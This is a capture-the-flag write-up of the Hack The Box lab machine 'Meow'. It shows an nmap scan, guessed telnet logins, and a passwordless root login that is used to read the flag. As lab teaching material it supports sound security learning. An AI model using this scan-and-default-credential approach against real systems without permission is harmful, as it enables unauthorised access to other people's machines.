

Meow

First of all, I add `meow.htb` into my `/etc/hosts`

Then I do an `nmap` scan.

```
$ nmap meow.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 08:09 EDT
Nmap scan report for meow.htb (10.129.1.17)
Host is up (0.042s latency).
Not shown: 999 closed tcp ports (conn-refused) to meow.htb.
PORT      STATE SERVICE
23/tcp    open  telnet

Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds
```

We can see that `telnet` is running. I am going to try to connect to it. Usually Linux has `telnet` installed by default.

As soon as I connect to `telnet` I get a login page and to put there different things.

```
(kali㉿kali)-[~/Documents/ctf/Meow]
$ telnet meow.htb
Trying 10.129.1.17 ...
Connected to meow.htb.
Escape character is '^]'.
ls -la
```

Hack the Box

Meow login: ls -la

Password:

Login incorrect

Meow login: anonymous

Password:

Login incorrect

Meow login: admin

Password:

Login incorrect

Meow login: '

Password:

Login incorrect

Meow login: sdlkfjlsdkjkl djf

Password:

Login incorrect

Maximum number of tries exceeded (5)

After I spent a few minutes of trying, I figured that if I put **root** for username, it is going to get me as a root.

```
Meow login: anonymous
Password:

Login incorrect
Meow login: root
welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue 25 Mar 2025 12:39:10 PM UTC

System load:          0.0
Usage of /:           41.7% of 7.75GB
Memory usage:         4%
Swap usage:           0%
Processes:            135
Users logged in:      0
IPv4 address for eth0: 10.129.1.17
IPv6 address for eth0: dead:beef::250:56ff:feb0:2c97

75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~# ls -la
total 36
```

Then, we can use `ls -la` to see the contents of the directory, and then use `cat flag.txt` to get the flag.